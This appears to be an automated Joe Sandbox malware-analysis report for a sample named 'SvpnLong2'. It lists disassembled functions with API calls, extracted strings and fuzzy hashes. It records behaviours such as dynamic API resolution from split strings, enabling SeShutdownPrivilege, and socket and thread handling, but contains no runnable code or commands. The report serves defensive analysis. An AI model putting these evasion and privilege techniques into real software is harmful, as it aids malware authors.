free.LIBCMT ref: 01E6B1BB
free.LIBCMT ref: 01E6B1C7
free.LIBCMT ref: 01E6B1D3
free.LIBCMT ref: 01E6B1DF
free.LIBCMT ref: 01E6B1EB
free.LIBCMT ref: 01E6B1F7
free.LIBCMT ref: 01E6B203
free.LIBCMT ref: 01E6B20F
free.LIBCMT ref: 01E6B21B
free.LIBCMT ref: 01E6B227
free.LIBCMT ref: 01E6B233
free.LIBCMT ref: 01E6B23F
free.LIBCMT ref: 01E6B24B
free.LIBCMT ref: 01E6B257
free.LIBCMT ref: 01E6B263
free.LIBCMT ref: 01E6B26F
free.LIBCMT ref: 01E6B27B
free.LIBCMT ref: 01E6B287
free.LIBCMT ref: 01E6B293
free.LIBCMT ref: 01E6B29F
free.LIBCMT ref: 01E6B2AB
free.LIBCMT ref: 01E6B2B7
free.LIBCMT ref: 01E6B2C3
free.LIBCMT ref: 01E6B2CF
free.LIBCMT ref: 01E6B2DB
free.LIBCMT ref: 01E6B2E7
free.LIBCMT ref: 01E6B2F3
free.LIBCMT ref: 01E6B2FF
free.LIBCMT ref: 01E6B30B
free.LIBCMT ref: 01E6B317
free.LIBCMT ref: 01E6B323
free.LIBCMT ref: 01E6B32F
free.LIBCMT ref: 01E6B33B
free.LIBCMT ref: 01E6B347
free.LIBCMT ref: 01E6B353
free.LIBCMT ref: 01E6B35F
free.LIBCMT ref: 01E6B36B
free.LIBCMT ref: 01E6B377
free.LIBCMT ref: 01E6B383
free.LIBCMT ref: 01E6B38F
free.LIBCMT ref: 01E6B39B
free.LIBCMT ref: 01E6B3A7
free.LIBCMT ref: 01E6B3B3
free.LIBCMT ref: 01E6B3BF
free.LIBCMT ref: 01E6B3CB
free.LIBCMT ref: 01E6B3D7
free.LIBCMT ref: 01E6B3E3
free.LIBCMT ref: 01E6B3EF
free.LIBCMT ref: 01E6B3FB
free.LIBCMT ref: 01E6B407
free.LIBCMT ref: 01E6B413
free.LIBCMT ref: 01E6B41F
free.LIBCMT ref: 01E6B42B
free.LIBCMT ref: 01E6B437
free.LIBCMT ref: 01E6B443
free.LIBCMT ref: 01E6B44F
free.LIBCMT ref: 01E6B45B
free.LIBCMT ref: 01E6B467
free.LIBCMT ref: 01E6B473
free.LIBCMT ref: 01E6B47F
free.LIBCMT ref: 01E6B48B
free.LIBCMT ref: 01E6B497
free.LIBCMT ref: 01E6B4A3
free.LIBCMT ref: 01E6B4AF
free.LIBCMT ref: 01E6B4BB
free.LIBCMT ref: 01E6B4C7
free.LIBCMT ref: 01E6B4D3
free.LIBCMT ref: 01E6B4DF

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: 3bcfeb3b4da4738ff2c8081cfba52b5849e1802a269629de1be72a8479a25d7c
Instruction ID: bf5bc3f46e31ce9d6798cbd7ec2635fdb725513d215f86e6ca62a18ee98cc0a9
Opcode Fuzzy Hash: 3bcfeb3b4da4738ff2c8081cfba52b5849e1802a269629de1be72a8479a25d7c
Instruction Fuzzy Hash: 20A165303A554A8FD689FFA9C8E47AC7359BF58280FC451B6C86DCA266CE125C49C750

Function 0215B744 Relevance: 107.7, APIs: 86, Instructions: 180COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 0215B759

Part of subcall function 02153D28: HeapFree.KERNEL32(?,?,00000000,02154940,?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000), ref: 02153D3E
Part of subcall function 02153D28: _errno.LIBCMT ref: 02153D48
Part of subcall function 02153D28: GetLastError.KERNEL32(?,?,00000000,02154940,?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000), ref: 02153D50

free.LIBCMT ref: 0215B762
free.LIBCMT ref: 0215B76B
free.LIBCMT ref: 0215B774
free.LIBCMT ref: 0215B77D
free.LIBCMT ref: 0215B786
free.LIBCMT ref: 0215B78E
free.LIBCMT ref: 0215B797
free.LIBCMT ref: 0215B7A0
free.LIBCMT ref: 0215B7A9
free.LIBCMT ref: 0215B7B2
free.LIBCMT ref: 0215B7BB
free.LIBCMT ref: 0215B7C4
free.LIBCMT ref: 0215B7CD
free.LIBCMT ref: 0215B7D6
free.LIBCMT ref: 0215B7DF
free.LIBCMT ref: 0215B7EB
free.LIBCMT ref: 0215B7F7
free.LIBCMT ref: 0215B803
free.LIBCMT ref: 0215B80F
free.LIBCMT ref: 0215B81B
free.LIBCMT ref: 0215B827
free.LIBCMT ref: 0215B833
free.LIBCMT ref: 0215B83F
free.LIBCMT ref: 0215B84B
free.LIBCMT ref: 0215B857
free.LIBCMT ref: 0215B863
free.LIBCMT ref: 0215B86F
free.LIBCMT ref: 0215B87B
free.LIBCMT ref: 0215B887
free.LIBCMT ref: 0215B893
free.LIBCMT ref: 0215B89F
free.LIBCMT ref: 0215B8AB
free.LIBCMT ref: 0215B8B7
free.LIBCMT ref: 0215B8C3
free.LIBCMT ref: 0215B8CF
free.LIBCMT ref: 0215B8DB
free.LIBCMT ref: 0215B8E7
free.LIBCMT ref: 0215B8F3
free.LIBCMT ref: 0215B8FF
free.LIBCMT ref: 0215B90B
free.LIBCMT ref: 0215B917
free.LIBCMT ref: 0215B923
free.LIBCMT ref: 0215B92F
free.LIBCMT ref: 0215B93B
free.LIBCMT ref: 0215B947
free.LIBCMT ref: 0215B953
free.LIBCMT ref: 0215B95F
free.LIBCMT ref: 0215B96B
free.LIBCMT ref: 0215B977
free.LIBCMT ref: 0215B983
free.LIBCMT ref: 0215B98F
free.LIBCMT ref: 0215B99B
free.LIBCMT ref: 0215B9A7
free.LIBCMT ref: 0215B9B3
free.LIBCMT ref: 0215B9BF
free.LIBCMT ref: 0215B9CB
free.LIBCMT ref: 0215B9D7
free.LIBCMT ref: 0215B9E3
free.LIBCMT ref: 0215B9EF
free.LIBCMT ref: 0215B9FB
free.LIBCMT ref: 0215BA07
free.LIBCMT ref: 0215BA13
free.LIBCMT ref: 0215BA1F
free.LIBCMT ref: 0215BA2B
free.LIBCMT ref: 0215BA37
free.LIBCMT ref: 0215BA43
free.LIBCMT ref: 0215BA4F
free.LIBCMT ref: 0215BA5B
free.LIBCMT ref: 0215BA67
free.LIBCMT ref: 0215BA73
free.LIBCMT ref: 0215BA7F
free.LIBCMT ref: 0215BA8B
free.LIBCMT ref: 0215BA97
free.LIBCMT ref: 0215BAA3
free.LIBCMT ref: 0215BAAF
free.LIBCMT ref: 0215BABB
free.LIBCMT ref: 0215BAC7
free.LIBCMT ref: 0215BAD3
free.LIBCMT ref: 0215BADF
free.LIBCMT ref: 0215BAEB
free.LIBCMT ref: 0215BAF7
free.LIBCMT ref: 0215BB03
free.LIBCMT ref: 0215BB0F
free.LIBCMT ref: 0215BB1B
free.LIBCMT ref: 0215BB27

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID:
API String ID: 1012874770-0
Opcode ID: ee57294937ec00a78bb68957dfb700f4bc262173795e00b3005a12635d34ccb0
Instruction ID: c7f1cb42da00936548514075870ccdf71df3836760e9c826690c6accba6789df
Opcode Fuzzy Hash: ee57294937ec00a78bb68957dfb700f4bc262173795e00b3005a12635d34ccb0
Instruction Fuzzy Hash: 9A815422291558E9DB42BB31D8942AC2332EFC6FD5FC465F2BE7D6B524CF22C8458B50

Function 021432F0 Relevance: 42.1, APIs: 4, Strings: 20, Instructions: 69libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 021433B3
GetProcAddress.KERNEL32 ref: 021433C3
GetProcAddress.KERNEL32 ref: 021433D3
GetProcAddress.KERNEL32 ref: 021433E3

Strings

ileT, xrefs: 0214337E
el32, xrefs: 02143326
eAsF, xrefs: 0214334D
Time, xrefs: 02143369
.dll, xrefs: 0214332D
calF, xrefs: 02143377
yste, xrefs: 0214333F
ileT, xrefs: 02143354
ToSy, xrefs: 0214339A
mTim, xrefs: 02143346
Time, xrefs: 021433A8
ime, xrefs: 02143385
GetS, xrefs: 02143338
stem, xrefs: 021433A1
Kern, xrefs: 0214331F
ToLo, xrefs: 02143370
Time, xrefs: 02143393
ime, xrefs: 0214335B
File, xrefs: 02143362
File, xrefs: 0214338C

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: .dll$File$File$GetS$Kern$Time$Time$Time$ToLo$ToSy$calF$eAsF$el32$ileT$ileT$ime$ime$mTim$stem$yste
API String ID: 2238633743-1498238681
Opcode ID: baef0d21a70133c800a609b5e36475da66433e28057513d6e9ff1a68103c94ab
Instruction ID: f9c4b72f01191ed74c6550222fe04ab02387e42a83d3f1b4b3f68a5076623ade
Opcode Fuzzy Hash: baef0d21a70133c800a609b5e36475da66433e28057513d6e9ff1a68103c94ab
Instruction Fuzzy Hash: 2B3102B2600A82DEEB00CFA1E5993AC7B71F758B88F45451AEA0D5BB08DB34C249CB44

Function 00007FF7FC7C6880 Relevance: 38.6, APIs: 16, Strings: 6, Instructions: 140libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF7FC7B6680: EncodePointer.KERNEL32 ref: 00007FF7FC7B6686

LoadLibraryW.KERNEL32 ref: 00007FF7FC7C68EA
GetProcAddress.KERNEL32 ref: 00007FF7FC7C6910
DecodePointer.KERNEL32 ref: 00007FF7FC7C6A00
DecodePointer.KERNEL32 ref: 00007FF7FC7C6A12
DecodePointer.KERNEL32 ref: 00007FF7FC7C6B27

Strings

USER32.DLL, xrefs: 00007FF7FC7C68E3
GetProcessWindowStation, xrefs: 00007FF7FC7C69B3
GetActiveWindow, xrefs: 00007FF7FC7C693C
MessageBoxW, xrefs: 00007FF7FC7C6904
GetUserObjectInformationW, xrefs: 00007FF7FC7C6980
GetLastActivePopup, xrefs: 00007FF7FC7C695E

Memory Dump Source

Source File: 00000000.00000002.3529793352.00007FF7FC7A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FC7A0000, based on PE: true

Associated: 00000000.00000002.3529778120.00007FF7FC7A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529793352.00007FF7FC810000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC818000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC82B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529888388.00007FF7FC833000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529905202.00007FF7FC838000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529921267.00007FF7FC83D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC83E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC84B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FD24B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FDC4B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7fc7a0000_SvpnLong2.jbxd

Similarity

API ID: Pointer$Decode$AddressEncodeLibraryLoadProc
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL
API String ID: 2256938910-564504941
Opcode ID: 538e669cf976fecdc9aa7d1c01a34b18cc74f1fe5a6b81cb147a8d993fdc7e57
Instruction ID: 8c4ca6df57064fd8e2b0136dc30dc7f5ea84bd637f6c7bc659681ae2711f2b64
Opcode Fuzzy Hash: 538e669cf976fecdc9aa7d1c01a34b18cc74f1fe5a6b81cb147a8d993fdc7e57
Instruction Fuzzy Hash: 85812D3292CB8681E750EB55F49436AF3A0FB88B50F901035D59E476E4DF7CE694CBA0

Function 0215E7CC Relevance: 38.6, APIs: 16, Strings: 6, Instructions: 136libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 0215E811
GetProcAddress.KERNEL32 ref: 0215E82D
RtlEncodePointer.NTDLL ref: 0215E83F
GetProcAddress.KERNEL32 ref: 0215E856
RtlEncodePointer.NTDLL ref: 0215E85F
GetProcAddress.KERNEL32 ref: 0215E876
RtlEncodePointer.NTDLL ref: 0215E87F
GetProcAddress.KERNEL32 ref: 0215E896
RtlEncodePointer.NTDLL ref: 0215E89F
GetProcAddress.KERNEL32 ref: 0215E8BE
RtlEncodePointer.NTDLL ref: 0215E8C7
RtlDecodePointer.NTDLL ref: 0215E8FA
RtlDecodePointer.NTDLL ref: 0215E90A
RtlDecodePointer.NTDLL ref: 0215E960
RtlDecodePointer.NTDLL ref: 0215E981
RtlDecodePointer.NTDLL ref: 0215E99B

Strings

USER32.DLL, xrefs: 0215E80A
GetLastActivePopup, xrefs: 0215E865
GetProcessWindowStation, xrefs: 0215E8B4
GetActiveWindow, xrefs: 0215E845
GetUserObjectInformationW, xrefs: 0215E885
MessageBoxW, xrefs: 0215E823

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL
API String ID: 2643518689-564504941
Opcode ID: 78733a723280b79d30972fe4ff2c31a78bcb32dd06fc01916637c1e789e259f5
Instruction ID: 36bcacaace9942f02ec6ec84430df21d196e74da376eccdbd2269d370b5f5225
Opcode Fuzzy Hash: 78733a723280b79d30972fe4ff2c31a78bcb32dd06fc01916637c1e789e259f5
Instruction Fuzzy Hash: DD514C31A52B52C5EE56DF56F86C3A923A0BB59F84F4A0065DC6E43760EF3CC68AC340

Function 02143160 Relevance: 38.6, APIs: 6, Strings: 16, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 021431DA
GetProcAddress.KERNEL32 ref: 021431E7
LoadLibraryA.KERNEL32 ref: 0214321B
GetProcAddress.KERNEL32 ref: 02143228
LoadLibraryA.KERNEL32 ref: 02143243
GetProcAddress.KERNEL32 ref: 02143250

Strings

eSid, xrefs: 021431CF
Chec, xrefs: 021431F1
Free, xrefs: 02143232
.dll, xrefs: 021431A1
Adva, xrefs: 02143193
Allo, xrefs: 021431AC
aliz, xrefs: 021431C8
niti, xrefs: 021431C1
ship, xrefs: 02143210
mber, xrefs: 02143206
Sid, xrefs: 0214323C
pi32, xrefs: 0214319A
cate, xrefs: 021431B3
AndI, xrefs: 021431BA
enMe, xrefs: 021431FF
kTok, xrefs: 021431F8

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$Adva$Allo$AndI$Chec$Free$Sid$aliz$cate$eSid$enMe$kTok$mber$niti$pi32$ship
API String ID: 2574300362-3843195497
Opcode ID: a10cb70afc0b07e85a13c5b5798e7d0a25660b4aacf8d302e02d6ab0558fbdca
Instruction ID: 9225889ed8f6dbb8df7421cff6dab358c635d9ee46e6355c93ce5a4c6bc3cba8
Opcode Fuzzy Hash: a10cb70afc0b07e85a13c5b5798e7d0a25660b4aacf8d302e02d6ab0558fbdca
Instruction Fuzzy Hash: 99417572604B81DED710CFA1E49879D7BB4F758788F44401AEA485BB18DF78C219CB44

Function 02142DB0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 91libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 02142DE1
GetProcAddress.KERNEL32 ref: 02142DF4
GetProcAddress.KERNEL32 ref: 02142E07
GetProcAddress.KERNEL32 ref: 02142E1A
LoadLibraryA.KERNEL32 ref: 02142E2A
GetProcAddress.KERNEL32 ref: 02142E3D
LoadLibraryA.KERNEL32 ref: 02142EA6
GetProcAddress.KERNEL32 ref: 02142EB6
CloseHandle.KERNEL32 ref: 02142ECC
FreeLibrary.KERNEL32 ref: 02142EDA
FreeLibrary.KERNEL32 ref: 02142EE8

Strings

AdjustTokenPrivileges, xrefs: 02142DFA
GetCurrentProcess, xrefs: 02142E30
SeShutdownPrivilege, xrefs: 02142E63
ADVAPI32.dll, xrefs: 02142DD7
KERNEL32.dll, xrefs: 02142E9F
kernel32.dll, xrefs: 02142E20
OpenProcessToken, xrefs: 02142DE7
LookupPrivilegeValueA, xrefs: 02142E0D
GetLastError, xrefs: 02142EAC

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: AddressLibraryProc$Load$Free$CloseHandle
String ID: ADVAPI32.dll$AdjustTokenPrivileges$GetCurrentProcess$GetLastError$KERNEL32.dll$LookupPrivilegeValueA$OpenProcessToken$SeShutdownPrivilege$kernel32.dll
API String ID: 2887716753-2040270271
Opcode ID: 165607f24522c167ce3a42d82dea4d50e4f112357a3fc8a7760195720a5d5025
Instruction ID: 37cfa3e1dccde5897b4a32279d514c6267add65d741aa56bf7513b253cd7f6dc
Opcode Fuzzy Hash: 165607f24522c167ce3a42d82dea4d50e4f112357a3fc8a7760195720a5d5025
Instruction Fuzzy Hash: 3F314532225B4996EA00DF62F85C3DE7361FB98B95F590026EE4E93724EF78C14AC740

Function 02143A90 Relevance: 34.7, APIs: 23, Instructions: 171sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 021419A0: WSAStartup.WS2_32 ref: 02141A19
Part of subcall function 021419A0: CreateEventA.KERNEL32 ref: 02141A2A

GetTickCount64.KERNEL32 ref: 02143AEF

Part of subcall function 02141BF0: ResetEvent.KERNEL32 ref: 02141C2D
Part of subcall function 02141BF0: timeGetTime.WINMM ref: 02141C3F
Part of subcall function 02141BF0: socket.WS2_32 ref: 02141C66

Sleep.KERNEL32 ref: 02143B4B
GetTickCount64.KERNEL32 ref: 02143B57
setsockopt.WS2_32 ref: 02143BB7
CancelIo.KERNEL32 ref: 02143BC1
closesocket.WS2_32 ref: 02143BD2
SetEvent.KERNEL32 ref: 02143BDC
TerminateThread.KERNEL32 ref: 02143C03
WaitForSingleObject.KERNEL32 ref: 02143C13
CloseHandle.KERNEL32 ref: 02143C20
Sleep.KERNEL32 ref: 02143C2B
CloseHandle.KERNEL32 ref: 02143C47
GetTickCount64.KERNEL32 ref: 02143D40

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Count64EventTick$CloseHandleSleep$CancelCreateObjectResetSingleStartupTerminateThreadTimeWaitclosesocketsetsockoptsockettime
String ID:
API String ID: 2857159816-0
Opcode ID: c85c77463af83999530e3a6dd15716559fee8f4d75098be63f8ed8429aa8ddd9
Instruction ID: 769348c7f11ab5e2a01ecc11bc37777bca56ec8f1b7bc6ede2f2144f7f20eac4
Opcode Fuzzy Hash: c85c77463af83999530e3a6dd15716559fee8f4d75098be63f8ed8429aa8ddd9
Instruction Fuzzy Hash: 71714F36240A809AEB20DF35DC5C3DD3371F794BA8F654615EA6E47AA8DF39C589C700

Function 00007FF7FC7D28F0 Relevance: 33.4, APIs: 8, Strings: 11, Instructions: 191fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF7FC7D29E0
WriteFile.KERNEL32 ref: 00007FF7FC7D2A7E
_invoke_watson_if_error.LIBCMTD ref: 00007FF7FC7D2B28
GetModuleFileNameW.KERNEL32 ref: 00007FF7FC7D2B4E
_invoke_watson_if_error.LIBCMTD ref: 00007FF7FC7D2B9C
_invoke_watson_if_error.LIBCMTD ref: 00007FF7FC7D2C49
_invoke_watson_if_error.LIBCMTD ref: 00007FF7FC7D2C8E
_invoke_watson_if_error.LIBCMTD ref: 00007FF7FC7D2CD1

Strings

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text), xrefs: 00007FF7FC7D2CC8
wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3), xrefs: 00007FF7FC7D2C40
Runtime Error!Program: , xrefs: 00007FF7FC7D2AE8
wcscpy_s(progname, progname_size, L"<program name unknown>"), xrefs: 00007FF7FC7D2B93
wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: "), xrefs: 00007FF7FC7D2B1F
Microsoft Visual C++ Runtime Library, xrefs: 00007FF7FC7D2CDC
<program name unknown>, xrefs: 00007FF7FC7D2B58
..., xrefs: 00007FF7FC7D2C0A
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n"), xrefs: 00007FF7FC7D2C85
_NMSG_WRITE, xrefs: 00007FF7FC7D2B18, 00007FF7FC7D2B8C, 00007FF7FC7D2C39, 00007FF7FC7D2C7E, 00007FF7FC7D2CC1
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\crt0msg.c, xrefs: 00007FF7FC7D2B11, 00007FF7FC7D2B85, 00007FF7FC7D2C32, 00007FF7FC7D2C77, 00007FF7FC7D2CBA

Memory Dump Source

Source File: 00000000.00000002.3529793352.00007FF7FC7A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FC7A0000, based on PE: true

Associated: 00000000.00000002.3529778120.00007FF7FC7A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529793352.00007FF7FC810000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC818000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC82B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529888388.00007FF7FC833000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529905202.00007FF7FC838000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529921267.00007FF7FC83D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC83E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC84B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FD24B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FDC4B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7fc7a0000_SvpnLong2.jbxd

Similarity

API ID: _invoke_watson_if_error$File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $_NMSG_WRITE$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\crt0msg.c$wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")$wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)$wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")$wcscpy_s(progname, progname_size, L"<program name unknown>")$wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3)
API String ID: 2275850042-4106506411
Opcode ID: c8ff877b80514f9818199a65a5bff3e4242206bf63f628e278e99ad60e672663
Instruction ID: a01f920b2f3c7106d7cbcd54890e852c6f45da248dedf39bfbaab30370816c08
Opcode Fuzzy Hash: c8ff877b80514f9818199a65a5bff3e4242206bf63f628e278e99ad60e672663
Instruction Fuzzy Hash: 11A14031A1C68685EB70EB15F4583BAA760FBC8744F901136D6AD436E8DF3CE645CBA0

Function 02161BD0 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 334COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0216065C: RtlLookupFunctionEntry.KERNEL32 ref: 021606D0

__GetUnwindTryBlock.LIBCMT ref: 02161C34
__SetUnwindTryBlock.LIBCMT ref: 02161C5B

Part of subcall function 0215581C: RaiseException.KERNEL32 ref: 02155897

__GetUnwindTryBlock.LIBCMT ref: 02161C65
_getptd.LIBCMT ref: 02161CBB
_getptd.LIBCMT ref: 02161CCE
_getptd.LIBCMT ref: 02161CDA
_SetThrowImageBase.LIBCMT ref: 02161CEE
_getptd.LIBCMT ref: 02161D3E
_getptd.LIBCMT ref: 02161D51
_getptd.LIBCMT ref: 02161D5D
type_info::operator==.LIBCMT ref: 02161DC4
std::exception::exception.LIBCMT ref: 02161DFD
_getptd.LIBCMT ref: 02162030
std::exception::exception.LIBCMT ref: 021620A9

Strings

bad exception, xrefs: 02161DEA
csm, xrefs: 02161C7B
csm, xrefs: 02161D09
csm, xrefs: 02161E22

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _getptd$BlockUnwind$std::exception::exception$BaseEntryExceptionFunctionImageLookupRaiseThrowtype_info::operator==
String ID: bad exception$csm$csm$csm
API String ID: 1639654010-820278400
Opcode ID: d6151ab0af39f61f0059ea009b49a01c921a8944d42449f52df1f21fc1264a95
Instruction ID: edf9a9dbf60f580779a5378c9afbf1f262ca41e015b47425119fa4a60a2d3d5d
Opcode Fuzzy Hash: d6151ab0af39f61f0059ea009b49a01c921a8944d42449f52df1f21fc1264a95
Instruction Fuzzy Hash: CFD1DA36780651EECB24DF6691483BE37A6FB48B88F544529DE9E57B08CB39C075CB80

Function 01E71588 Relevance: 30.2, APIs: 14, Strings: 3, Instructions: 493COMMONLIBRARYCODE

Download Yara Rule

APIs

__GetUnwindTryBlock.LIBCMT ref: 01E715EC
__SetUnwindTryBlock.LIBCMT ref: 01E71613
__GetUnwindTryBlock.LIBCMT ref: 01E7161D
_getptd.LIBCMT ref: 01E71673
_getptd.LIBCMT ref: 01E71686
_getptd.LIBCMT ref: 01E71692
_SetThrowImageBase.LIBCMT ref: 01E716A6
_getptd.LIBCMT ref: 01E716F6
_getptd.LIBCMT ref: 01E71709
_getptd.LIBCMT ref: 01E71715
type_info::operator==.LIBCMT ref: 01E7177C
std::exception::exception.LIBCMT ref: 01E717B5
_getptd.LIBCMT ref: 01E719E8
std::exception::exception.LIBCMT ref: 01E71A61

Strings

csm, xrefs: 01E716C1
csm, xrefs: 01E717DA
csm, xrefs: 01E71633

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _getptd$BlockUnwind$std::exception::exception$BaseImageThrowtype_info::operator==
String ID: csm$csm$csm
API String ID: 3798665358-393685449
Opcode ID: 3059d18893a6f2d6e099a0d3dd07f7d6103baa939f11c7274faf6686222187fe
Instruction ID: 5d836b9d3b596f6abfdebeec0615422a99c8043c763238a669f697f0033ec2ee
